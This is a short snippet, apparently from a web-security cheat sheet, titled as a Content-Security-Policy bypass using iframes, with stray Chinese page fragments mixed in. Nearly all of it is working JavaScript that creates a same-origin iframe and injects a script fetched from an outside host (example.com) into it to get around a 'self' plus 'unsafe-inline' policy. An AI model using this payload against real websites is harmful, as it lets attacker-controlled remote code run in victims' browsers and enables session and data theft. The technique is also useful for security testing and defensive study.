CSP bypass: self + 'unsafe-inline' with Iframes
Content-Security-Policy: default-src 'self' 'unsafe-inline';通过文本和图像
frame=document.createElement("iframe");
frame.src="/css/bootstrap.min.css";
document.body.appendChild(frame);
script=document.createElement('script');
script.src='//example.com/csp.js';
window.frames[0].document.head.appendChild(script);通过错误
参考资料
最后更新于